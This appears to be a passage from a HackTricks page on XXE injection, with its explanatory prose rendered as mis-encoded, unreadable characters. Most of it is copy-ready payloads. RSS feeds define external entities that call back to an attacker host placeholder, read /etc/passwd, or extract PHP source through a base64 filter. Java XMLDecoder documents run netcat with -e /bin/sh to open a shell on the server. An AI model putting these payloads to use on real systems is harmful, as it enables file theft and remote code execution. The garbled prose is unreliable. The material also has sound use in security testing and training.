рдпрд╣ рд╕рдВрд╢реЛрдзрди рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рдлрд▓ рдирд┐рд╖реНрдХрд╛рд╕рди рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗ рдЧрдП рддреНрд░реБрдЯрд┐ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдПрдХ рд╕рдлрд▓ XXE (XML External Entity) рд╣рдорд▓реЗ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЙрдЯ рдСрдл рдмреИрдВрдб рдФрд░ рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд рддрдХрдиреАрдХреЛрдВ рджреЛрдиреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред
RSS - XEE
XXE рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП RSS рдкреНрд░рд╛рд░реВрдк рдХреЗ рд╕рд╛рде рдорд╛рдиреНрдп XMLред
Ping back
рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рд░рд▓ HTTP рдЕрдиреБрд░реЛрдз
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
рд╕реНрд░реЛрдд рдХреЛрдб рдкрдврд╝реЗрдВ
PHP base64 рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoder рдПрдХ Java рдХреНрд▓рд╛рд╕ рд╣реИ рдЬреЛ XML рд╕рдВрджреЗрд╢ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ readObject рд╡рд┐рдзрд┐ рдореЗрдВ рдордирдорд╛рдиреЗ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рддреБрд░рдВрдд рд╕рд░реНрд╡рд░ рдкрд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрдЧрд╛ред
Using Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
Tools
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
References
- https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf\
- https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html\
- HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдкрдиреА рдмрд╛рд╣рд░реА DTD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реЗрдВ: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection\
- https://gist.github.com/staaldraad/01415b990939494879b4\
- https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9\
- https://portswigger.net/web-security/xxe\
- https://gosecure.github.io/xxe-workshop/#7
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ telegram рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter ЁЯРж рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ @hacktricks_live.
- HackTricks рдФрд░ HackTricks Cloud github repos рдореЗрдВ PRs рдЬрдорд╛ рдХрд░рдХреЗ рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВред